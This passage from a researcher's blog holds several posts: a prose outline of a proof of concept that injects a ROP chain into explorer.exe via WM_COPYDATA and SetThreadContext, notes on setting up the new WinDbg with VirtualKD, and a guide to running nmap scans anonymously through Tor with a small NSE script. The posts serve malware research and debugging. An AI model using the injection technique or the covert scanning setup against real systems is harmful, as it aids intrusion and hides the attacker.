<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7O7i4jjegqRSBOz28tkAdhssl9rpuj2gr8gkKbNTz-5laaux3yxWcmNyDHNQrbBg9kZ4TsA_ePPFXnfFbWxgjCTReBcNjr5bKfENzTjwNqq-eMXjmlz_IcXKLhNA0sMEnappwO90wU-w/s1600/temp+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="332" data-original-width="616" height="344" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7O7i4jjegqRSBOz28tkAdhssl9rpuj2gr8gkKbNTz-5laaux3yxWcmNyDHNQrbBg9kZ4TsA_ePPFXnfFbWxgjCTReBcNjr5bKfENzTjwNqq-eMXjmlz_IcXKLhNA0sMEnappwO90wU-w/s640/temp+%25281%2529.png" width="640" /></a></div>
<br />
<br />
<div>
<br /></div>
<div>
<h2>
PoC Code: Inject Explorer.exe Process</h2>
<br />
I decided to transform my totally unuseful fuzzer into a (not very useful) Proof of Concept to execute code into explorer.exe with WM_SETTEXT + WM_COPYDATA + SetThreadContext, and here you can find the Frankestein:<br />
<br />
<a href="https://github.com/vallejocc/PoC-Inject-Data-WM_COPYDATA">https://github.com/vallejocc/PoC-Inject-Data-WM_COPYDATA</a><br />
<br />
In this PoC I inject a path to notepad.exe with WM_SETTEXT and a very simple ROP string with WM_COPYDATA (this tiny ROP will cause a call to CreateProcess to launch notepad.exe and a call to ExitProcess), into the address space of explorer.exe. After this, I choose an explorer’s thread, and I use SetThreadContext to point RSP to my data copied with WM_COPYDATA and RIP to a “weird” code at ntdll (Ntdll version 10.0.16299.64 x64):</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4QmTwE43OySYXEY3RfVtI7M4R_QAZDz2nkb_bn1Atl6KtCvkHsN0pONAuBbYOXf2Tg2K6h_RLH2kTXC0FFA_iynInhjos5jvn29mxUS-5JbbUyQw9UGilAILqsAXr84BFqGpMqp93ZOk/s1600/temp1+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="127" data-original-width="568" height="142" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4QmTwE43OySYXEY3RfVtI7M4R_QAZDz2nkb_bn1Atl6KtCvkHsN0pONAuBbYOXf2Tg2K6h_RLH2kTXC0FFA_iynInhjos5jvn29mxUS-5JbbUyQw9UGilAILqsAXr84BFqGpMqp93ZOk/s640/temp1+%25281%2529.png" width="640" /></a></div>
<br />
<br />
<br /></div>
<div>
This ntdll code is very nice because it let us to set all the volatile registers necesary for Microsoft x64 calling convention (rcx, rdx, r8, r9). SetThreadContext doesn’t let us to set these volatile registers (we need to set them because the first 4 arguments for the APIs are stored there).<br />
<br />
I hope u enjoy it!</div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-30538327552250055092017-11-18T15:08:00.000-08:002018-05-04T09:50:30.799-07:00Installation and First Contact With the New WinDbg<br />
These days it is being my first contact with the new Windbg. There are fantastic things in this new version, I am still discovering and enjoying it. I decided to write this short post about the particular installation of the new WinDbg and the way that I needed to configure VirtualKD’s vmmon to attach the new WinDbg to the selected running VM from the vmmon menu.<br />
<a name='more'></a><br />
<h2>
New Windbg’s Executables</h2>
<br />
We execute WinDbg from installation shortcut and we search the main process. The main new WinDbg process is DbgX.Shell.exe:<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1l9OySdgb3Wt32ct8gsOa-W4-HjJZXb7oJliDRoHtF39mHvWw5mw9DJbjO9CQAKhxuZrhaMJO11yS632GmWZoPTiPCNN5TOXwL30I88qW9Xr-Lk726JsyIVzmnwPKU68TKrDrUvXo4AY/s1600/sin-tc3adtulo+%25282%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="211" data-original-width="532" height="252" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1l9OySdgb3Wt32ct8gsOa-W4-HjJZXb7oJliDRoHtF39mHvWw5mw9DJbjO9CQAKhxuZrhaMJO11yS632GmWZoPTiPCNN5TOXwL30I88qW9Xr-Lk726JsyIVzmnwPKU68TKrDrUvXo4AY/s640/sin-tc3adtulo+%25282%2529.png" width="640" /></a></div>
<br />
<br />
<br /></div>
<div>
It is a .Net executable:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXjLmJVtlCQoYutWxlI1_isKuTiDN6ec-V4M_DB0UcicauZTBJml3VHfrohMrxr5qPwH_byLLHrJkhRLycNpU7fSEngswRsdmkhIPnSooPdLiXxpobBEr70PkBfXjqzjwxDZBAsZT9t6o/s1600/sin-tc3adtulo1+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="192" data-original-width="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXjLmJVtlCQoYutWxlI1_isKuTiDN6ec-V4M_DB0UcicauZTBJml3VHfrohMrxr5qPwH_byLLHrJkhRLycNpU7fSEngswRsdmkhIPnSooPdLiXxpobBEr70PkBfXjqzjwxDZBAsZT9t6o/s1600/sin-tc3adtulo1+%25281%2529.png" /></a></div>
<br />
<br />
<br /></div>
<div>
When I tried to execute this .Net executable from command line, it didn’t work. Thought I tried with admin cmd.exe, not worked. Access denied.<br />
<br />
The installation creates another exe here:<br />
<br />
C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\WinDbgX.exe</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7gdf7NszEWv8GIKP86tbiTTa9OidVJ5Am2XQs_MApJxhzo2AWFXYcYvYy8OYFxMVzmBQgDy9xejkWCNp8moNmiqon76XR_b5GtaK28vmn6kHx-eqhQxsYVeuw2bPRy_9CdDAVaQAYjG4/s1600/sin-tc3adtulo2+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="138" data-original-width="605" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7gdf7NszEWv8GIKP86tbiTTa9OidVJ5Am2XQs_MApJxhzo2AWFXYcYvYy8OYFxMVzmBQgDy9xejkWCNp8moNmiqon76XR_b5GtaK28vmn6kHx-eqhQxsYVeuw2bPRy_9CdDAVaQAYjG4/s640/sin-tc3adtulo2+%25281%2529.png" width="640" /></a></div>
<br />
<br /></div>
<div>
It is zero bytes, and if you try, for example, to copy it, you can’t.</div>
<div>
<br />
Really, it is not an executable. It seems to be an NTFS Reparse Point (<a href="https://en.wikipedia.org/wiki/NTFS_reparse_point">https://en.wikipedia.org/wiki/NTFS_reparse_point</a>). We try with Mark Russinovich’s junction tool (<a href="https://docs.microsoft.com/en-us/sysinternals/downloads/junction">https://docs.microsoft.com/en-us/sysinternals/downloads/junction</a>), but it doesn’t show any info because it seems not to be a Symbolic Link (<a href="https://en.wikipedia.org/wiki/NTFS_symbolic_link">https://en.wikipedia.org/wiki/NTFS_symbolic_link</a>):</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6CkPBCGx0iMwH96saq1TWksQI9l6cyPH-UIhbk3riOrQ2a8ZPFYTWbBPycPLPStzgD1gllYTrwH7rpHY6dbcGyvAkrVmsTwDsuzoBfcKSgiGrKNnygrjXytSFGV5I_EcwzNQKS8pteVA/s1600/sin-tc3adtulo3+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="264" data-original-width="870" height="194" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6CkPBCGx0iMwH96saq1TWksQI9l6cyPH-UIhbk3riOrQ2a8ZPFYTWbBPycPLPStzgD1gllYTrwH7rpHY6dbcGyvAkrVmsTwDsuzoBfcKSgiGrKNnygrjXytSFGV5I_EcwzNQKS8pteVA/s640/sin-tc3adtulo3+%25281%2529.png" width="640" /></a></div>
<br />
<br /></div>
<div>
I have not found a tool or way to manage or get information about these files.<br />
<br />
FIX: it is possible to use fsutil to query information about the reparse point. Thanks for the correction.<br />
<br />
If we capture with Process Monitor:<br />
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGS0i3v-6GGJ7_jWk4s0FOGpCUUElX3-AG9XdF56OkV18z6YOHQYby10XsnYUJqoXTVfvmw1cI73fU-sYlMI_AoUJED1jWuoyvsOlsZ_0o1Fc3-tGATQn5cd-ldioxZyQV1FOgfXQX1Po/s1600/sin-tc3adtulo4+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="662" data-original-width="1190" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGS0i3v-6GGJ7_jWk4s0FOGpCUUElX3-AG9XdF56OkV18z6YOHQYby10XsnYUJqoXTVfvmw1cI73fU-sYlMI_AoUJED1jWuoyvsOlsZ_0o1Fc3-tGATQn5cd-ldioxZyQV1FOgfXQX1Po/s640/sin-tc3adtulo4+%25281%2529.png" width="640" /></a></div>
<br />
<br />
<br />
<br /></div>
<div>
We can see FSCTL_GET_REPARSE_POINT ioctl code. The target of the reparse point is DbgX.Shell.exe (C:\Program Files\WindowsApps\Microsoft.WinDbg_1.0.14.0_x86__8wekyb3d8bbwe\DbgX.Shell.exe).</div>
<h2>
</h2>
<h2>
</h2>
<h2>
Integration with VirtualKD</h2>
<div>
<br />
New WinDbg works perfectly with VirtualKD (follow <a href="http://virtualkd.sysprogs.org/tutorials/install/">this instruction</a> to configure the environment), however this issue with the new windbg’s executables that I have explained brought me some problems to configure Virtual Machine Monitor menu to launch new WinDbg for the selected VM.<br />
<br />
We can’t use the default WinDbg.exe / Kd.exe options because new WinDbg needs different parameters. So we need to choose the “custom” option:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTzrPPXBRNhxtLe6Gkav8cv8XRM1y55sEeaX67NBZL6UZzNrx_jI2ZrmPQtZ-wu4i1lFvmrF9aHSfDOnHCo7uAiiouXnT6g6ORakMdw3TWK9MdwSYy4R1ukvwBWT9IMpU3Bg8kLvYTrS4/s1600/sin-tc3adtulo5+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="103" data-original-width="674" height="96" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTzrPPXBRNhxtLe6Gkav8cv8XRM1y55sEeaX67NBZL6UZzNrx_jI2ZrmPQtZ-wu4i1lFvmrF9aHSfDOnHCo7uAiiouXnT6g6ORakMdw3TWK9MdwSYy4R1ukvwBWT9IMpU3Bg8kLvYTrS4/s640/sin-tc3adtulo5+%25281%2529.png" width="640" /></a></div>
<br />
<br />
<br /></div>
<div>
It is not possible to call DbgX.Shell.exe directly, it happends the same thing that when I executed it from command line. We need to launch it throught the reparse point, WinDbgX.exe. Old windbg.exe accepted parameters with “-“, for example -k. New Windbg needs /k parameter to pass the connection configuration:<br />
<br />
FIX: Again my mistake here, WinDbgX accepts -k too like the previous version.</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3gxf_RHz6vDOQH0SLOQ-aMlXxbhNjqIirCZN3TAMBqsh6lUKlP0QZ5ATvo4duTs_pDEh8xj_NXNp906v2RO__jk-EP6ipFDNgRCsbfnSMuSkBmrFuwffUCok4jJ5NCJBsxQ1yi_xDgAw/s1600/sin-tc3adtulo6+%25281%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="93" data-original-width="735" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3gxf_RHz6vDOQH0SLOQ-aMlXxbhNjqIirCZN3TAMBqsh6lUKlP0QZ5ATvo4duTs_pDEh8xj_NXNp906v2RO__jk-EP6ipFDNgRCsbfnSMuSkBmrFuwffUCok4jJ5NCJBsxQ1yi_xDgAw/s640/sin-tc3adtulo6+%25281%2529.png" width="640" /></a></div>
<br />
<br /></div>
<div>
<br />
You need to configure it in this way to launch new WinDbg directly from VirtualKD:<br />
<br />
C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\WinDbgX.exe /k com:pipe,resets=0,reconnect,port=$(pipename)<br />
<br /></div>
<h2>
Other Details</h2>
<div>
<br />
The new interface is very much elegant and comfortable, however there are some things that I think they could be improved.<br />
<br />
For example, In the disassembly window, it is not possible to enter an address (or I have not found the way). You always see the current eip address. If you execute “.iframe” command, you can move to the ret address for the frame. But you can’t move freely to any address that you want in this window. It’s weird. You can use the “u” command to disassemble any address and see the results in the commands window, but it is always useful to be able to enter any address into the disassembly windows.<br />
<br />
In addition, it seems you can’t open multiple memory windows. It is an option that is present in the old WinDbg, and it is very useful.<br />
<br />
About scripting, it supports old scripts, but something has changed in the engine. Some scripts that work perfectly with old WinDbg, they stopped working with the new version. For example, an script was changing process context with “.process /i <process>;g;”, and this seems to be problematic with the new version.<br />
<br />
However, this new version introduces a very much powerful scripting. I can’t comment too much about this new scripting, because I have not started with it yet and it deserves one or more entire posts for it.</div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-17465875961770777152017-11-11T14:54:00.000-08:002018-05-04T09:51:01.165-07:00Using Gathering Information Tools Through TOR NetworkPrevious days I have been playing with nmap and other tools to gather information, through tor network. I wanted to share my experience with it, and the configuration that I am currently using. I hope you can find here some tips or ideas useful for you.<br />
<a name='more'></a><br />
<br />
I am new to tor network and I am not pentester. But I though it is good to know a bit about these tools because they can be useful on some situations when you are reversing malware and you want to gather information about CnCs, for example. But as I said, I’m not an expert on this, my apologies if you find something wrong in this blog post. Any suggestion, advice or correction will be welcome.<br />
<div>
<br /></div>
<div>
<h2>
Setting Up The Environment</h2>
<br />
It is possible to set up different environments that would let us to work through tor network.<br />
<br />
You can configure your current machine with tor and proxychains. For example for nmap, you would call it through proxychains in this way: proxychains nmap -Pn -sT -p <ports> <target>. In this way you won’t need additional hardware. <a href="https://www.aldeid.com/wiki/Tor/Usage/Nmap-scan-through-tor">Here</a> it is a nice tutorial about this.<br />
<br />
Other option is to configure a tor proxy on additional machine and configure a wifi ap that will redirect all the traffic from the ap to the tor network. I liked this option because, probably, it is harder to make a mistake and reveal your ip address if you are using multiple tools for gathering information (in this way you know all the tcp traffic from your machine connected to the wifi ap is going to be routed through tor).<br />
<br />
The wifi ap can be created with hostapd linux application. <a href="http://itsacleanmachine.blogspot.com.es/2013/02/wifi-access-point-with-raspberry-pi.html">Here</a> it is a good article explaining how to make this configuration. You can find a lot of articles on internet about this.<br />
<br />
Having the wifi ap configured, you only need to install tor (sudo apt-get install tor) and redirect the traffic from wlan0 to tor port (sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp –syn -j REDIRECT –to-ports 9040). <a href="https://learn.adafruit.com/onion-pi/install-tor">Here</a> it is a great article about configuring raspberry pi in this way.<br />
<br />
Finally I configured a raspberry pi with a wifi ap redirected to tor, and additionally I installed proxychains into raspberry pi for performing port scans, because I found a problem while using nmap through the wifi ap, as I will explain later.<br />
<br /></div>
<div>
<h2>
Port Scanning Through Wifi AP Redirected To TOR Network</h2>
<br />
When I started to use nmap with this configuration, I noticed it was not working as expected. When I scanned a remote ip with -sT option (don’t forget to specify the -Pn option too, or a icmp packet will be sent and ip address will be revealed), all the ports of the remote machine was being reported as open ports.<br />
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAMsUdqITA7tVd0qNM1v_KHlAQOhfr9pMtFUoCQlie8h35px3PpSdOwz2Ae8S-9dnQZ2dJ3N_d17g7KJ_EnLWfXYglJAwRJV5_h9VPyg5aflpBdnVaxwrJ5ogge4Y56dog93LZoizHAu8/s1600/temp4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="566" data-original-width="462" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAMsUdqITA7tVd0qNM1v_KHlAQOhfr9pMtFUoCQlie8h35px3PpSdOwz2Ae8S-9dnQZ2dJ3N_d17g7KJ_EnLWfXYglJAwRJV5_h9VPyg5aflpBdnVaxwrJ5ogge4Y56dog93LZoizHAu8/s640/temp4.png" width="522" /></a></div>
<br />
<br />
<br /></div>
<div>
I scanned an open port and a closed port, capturing with wireshark, and it captured the same packets:<br />
Scanning closed port 6666 through tor, option -sT:</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii6kdfIGpzK_9tVD9a61SDVbTQojJOuIuBZNR597Ao_5MVR_UeSRCYsbXRnnkBb-cxs_wYNbdYa41ZbTCpvSP9ANTkd6AoAmWSLUhWwS9gAj17pTIv6kL0zk2LQYJyw6tydtczmMkr57A/s1600/temp1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="58" data-original-width="680" height="54" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii6kdfIGpzK_9tVD9a61SDVbTQojJOuIuBZNR597Ao_5MVR_UeSRCYsbXRnnkBb-cxs_wYNbdYa41ZbTCpvSP9ANTkd6AoAmWSLUhWwS9gAj17pTIv6kL0zk2LQYJyw6tydtczmMkr57A/s640/temp1.png" width="640" /></a></div>
<br />
<br />
Scanning open port 80 through TOR, option -sT:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPd_hoZqp906VTUd8L55Wkb9hhai-zOAHL_wItdK2gRmWX8NjvHH9bLPrVushw9vdeImLPRbe72JwqxIVkjEe0hs5K02TUb_2BoG47aGbheejJPO5zpivQWPEVb4CtqaYvuhr5eaILtOM/s1600/temp2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="57" data-original-width="660" height="54" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPd_hoZqp906VTUd8L55Wkb9hhai-zOAHL_wItdK2gRmWX8NjvHH9bLPrVushw9vdeImLPRbe72JwqxIVkjEe0hs5K02TUb_2BoG47aGbheejJPO5zpivQWPEVb4CtqaYvuhr5eaILtOM/s640/temp2.png" width="640" /></a></div>
<br />
<br /></div>
<div>
<br />
When I use the wifi ap, the full tcp connection is always established in spite of the fact the target port is closed, and, after the connection is established, if the remote server (the target)’s port is closed, a fin/ack is sent to us to close the established tcp connection. But the connection is always established, and for this reason, nmap is reporting all the ports open.<br />
<br />
With .onion servers it happened exactly the same behavior:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCS3DsBcac_2fePKRinFwC26nJO7Hyz88p632yDWr2UBvaKTwyZj0Ox1oHAdCv6GLScD4DUDRA3wIjkuLP7HJF7HwkahC2EO0oAUv4TmZtAsJlcGhCBI-jTHKZIxonobRe566x6GrIAvg/s1600/temp16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="400" data-original-width="752" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCS3DsBcac_2fePKRinFwC26nJO7Hyz88p632yDWr2UBvaKTwyZj0Ox1oHAdCv6GLScD4DUDRA3wIjkuLP7HJF7HwkahC2EO0oAUv4TmZtAsJlcGhCBI-jTHKZIxonobRe566x6GrIAvg/s640/temp16.png" width="640" /></a></div>
<br />
<br />
<br /></div>
<div>
As we can see in the previous capture, with the open port 80, all it is as expected, the connection is performed and remote server answers bad request. With closed port 6666, if we only see nc results, it seems we were not able to connect to port 6666, but really the tcp connection was established, and it was closed later with fin/ack:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8BSXriwocnSw7U54M1l19KBgXCAKUMfr_thCKexW6i4awQP5D6xG9tuCJMyrn1kE4TxIM5TUb8qFkYRCZ84h13n4EYe4F4e06d5s-lcRNko0J_fko3eq2afRmNQje0pXH_7TMnvNu80E/s1600/temp17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="113" data-original-width="883" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8BSXriwocnSw7U54M1l19KBgXCAKUMfr_thCKexW6i4awQP5D6xG9tuCJMyrn1kE4TxIM5TUb8qFkYRCZ84h13n4EYe4F4e06d5s-lcRNko0J_fko3eq2afRmNQje0pXH_7TMnvNu80E/s640/temp17.png" width="640" /></a></div>
<br />
<br /></div>
<div>
I wrote a tiny script for nmap. It reports open ports only that ports answering any data. The script connects to the target machine:port, it sends some data, and wait for a response with data. However, it is not a very good solution, because we are loosing services that don’t any data.<br />
<br />
Tcp-waitdata-scan.nse:</div>
<div>
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; font-family: "Source Code Pro", monospace; font-style: inherit; font-weight: inherit; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;"><span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">local nmap = require "nmap"</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">local stdnse = require "stdnse"</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">portrule = function(host, port)</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> return true</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">end</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">action = function (host, port)</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> stdnse.debug1("start")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> local status = false </span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> local soc = nmap.new_socket("tcp", "inet")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> stdnse.debug1("new_socket executed")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> if soc then</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> stdnse.debug1("socket open")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> soc:set_timeout(5000)</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> status, error = soc:connect(host, port, "tcp")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> if status then</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> stdnse.debug1("connected, sending data")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> soc:send("...data...\r\n\r\n\n\n\0\0")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> stdnse.sleep(5)</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> status, data = soc:receive()</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> if status then</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> stdnse.debug1("data received")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> nmap.set_port_state (host, port, "open")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> else</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> nmap.set_port_state (host, port, "closed")</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> end</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> return status</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> end</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> end</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"> return false</span>
<span style="border: 0px; box-sizing: border-box; color: grey; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">end</span></pre>
</blockquote>
An example:</div>
<div>
<br /></div>
<div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil_RvPmG91DVdL6HaiWFpPcpds3oA1MXPLE8cDj9BNMAeS6kkEg2IdHcUA82Kjimq8TqKzynXykdpzDlBS8ADfzGL5-uAe5fjpfTqdBkqWCbNdj0QgPPgtDxkvSJ0TK3aSvYMMEmjikJ8/s1600/temp21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="626" data-original-width="893" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil_RvPmG91DVdL6HaiWFpPcpds3oA1MXPLE8cDj9BNMAeS6kkEg2IdHcUA82Kjimq8TqKzynXykdpzDlBS8ADfzGL5-uAe5fjpfTqdBkqWCbNdj0QgPPgtDxkvSJ0TK3aSvYMMEmjikJ8/s640/temp21.png" width="640" /></a></div>
<br /></div>
<h2>
Portscanning Through Proxychains</h2>
<br />
Nmap seems not work as expected through the wifi ap redirected to tor, so I tried with nmap + proxychains. It is quite slow, but it worked fine for me:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
